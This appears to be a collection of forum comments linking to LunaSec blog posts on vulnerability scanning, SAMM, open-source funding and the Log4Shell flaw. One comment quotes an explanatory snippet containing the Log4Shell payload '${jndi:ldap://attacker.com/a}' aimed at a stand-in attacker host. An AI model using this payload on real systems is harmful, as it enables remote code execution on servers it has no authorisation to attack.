LunaSec Blog

This is compliance vs security. Finding vulns checks a box for SOC2, but in reality detection is the easy part. Figuring out what to fix, based on real-world usage and risk, requires much more work and is often ignored. I'm sorry you're on the receiving end of this problem! Shill notice: I'm working on an Open Source tool[0] that makes this problem less horrible. My colleague wrote a post about our hypothesis[1] about how we can avoid this false positive trap. I'd love to chat with anybody feeling this pain (even just as therapy lol). 0: https://github.com/lunasec-io/lunasec 1: https://www.lunasec.io/docs/blog/the-issue-with-vuln-scanners/

If you are using Kubernetes, please check out my post on patching log4shell using ephemeral containers in one command: https://medium.com/@edeNFed/patching-log4shell-in-one-command-without-… Also recommended by Lunasec's mitigation guide: https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/

it is cool to see someone mention SAMM. I have been obsessed with this framework since it’s inception and am hoping more and more companies adopt it over time (and let it grow with their company). Often times these frameworks are only feasible to use once you have a pretty large security team at your company that can spend their entire job to parse schemas like the one posted. I wrote a post recently talking about how to make SAMM more obtainable to smaller companies starting out thinking about security https://www.lunasec.io/docs/blog/security-guide-for-startups/

https://www.lunasec.io/docs/blog/log4j-zero-day/ By LunaSec IIRC.

According to https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered: String apiVersion = he.getRequestHeader("X-Api-Version"); // This line triggers the RCE by logging the attacker-controlled HTTP header. // The attacker can set their X-Api-Version header to: $ {jndi:ldap://attacker.com/a} log.info("Requested Api Version: {}", apiVersion); But what is the bug in log4j that caused the vulnerability? Anyone have a link to the relevant log4j code?

The patch which apparently introduced the vulnerable code path landed in 2013 -- https://www.lunasec.io/docs/blog/log4j-zero-day/ For context, injection attacks were on the original OWASP top 10 list from 2003.

You're right. Nobody bothers to make scanners because there's no data, and nobody has come up with a good format to convey the data between producers (like NVD) and consumers (like dependabot). I wrote a blog post talking about some of this stuff: https://www.lunasec.io/docs/blog/the-issue-with-vuln-scanners/ It truly is a chicken and egg problem. There are next to no automated scanners that make use of data like that, semgrep is the furthest along and my company is close behind them at taking a stab at it as far as I can tell. Heck there are hardly any that do anything with the existing "Environmental" part of the CVSS, and that has been pretty well populated by NVD, I believe. The existing interchange formats for vulnerability data, such as OSV, are underdesigned to the point that it feels like GitHub CoPilot designed them. It's real work to even get to the point that you can consume them, given all the weird choices in there. Sorry if I'm salty. There is an attempt to create a standard for situational vulnerability exposure called "VEX" or Vulnerability Exchange Format, but it's almost entirely focused on conveying information about what vulnerabilities have been manually eliminated, so that software "vendors" can satisfy their customers, especially in government contracts. It's not modeling the full picture of what can happen in a dependency tree and all the useful false-positive information in there.

Read this article this week, and thanks for sharing! We're building Lowdefy and have been bootstrapping for the past 3 years. I'll probably also post an article about this soon, it is definitely a whole different journey, and I often ask myself and the team if it is time to pivot our funding strategy. We're building apps for companies by almost exclusively using our product and iterating as the needs of our clients pushes the boundaries of what the platform can do. Although our medium term objective is to transition into an open-core company, the past few years of building many apps for businesses has exposed us to real world, high value problems. And since our OS community is relatively small still, it gives us the necessary feedback to learn and mature our ideas. The quote, "if you have 6 hours to chop down a tree, spend the first 4 to sharpen your axe" comes to mind - but with that I always wonder what opportunities we are missing because of it. Congrats on the awesome product you guys are building! Other articles I've recently found on the topic: - https://supabase.com/blog/2022/03/25/should-i-open-source-my-company - https://stackoverflow.blog/2021/01/07/open-source-has-a-funding-proble… - https://www.lunasec.io/docs/blog/how-to-build-an-open-source-business-… - https://twitter.com/awilkinson/status/1233058058873405441?s=20 - https://github.com/anhtho-lago/awesome-opensource-company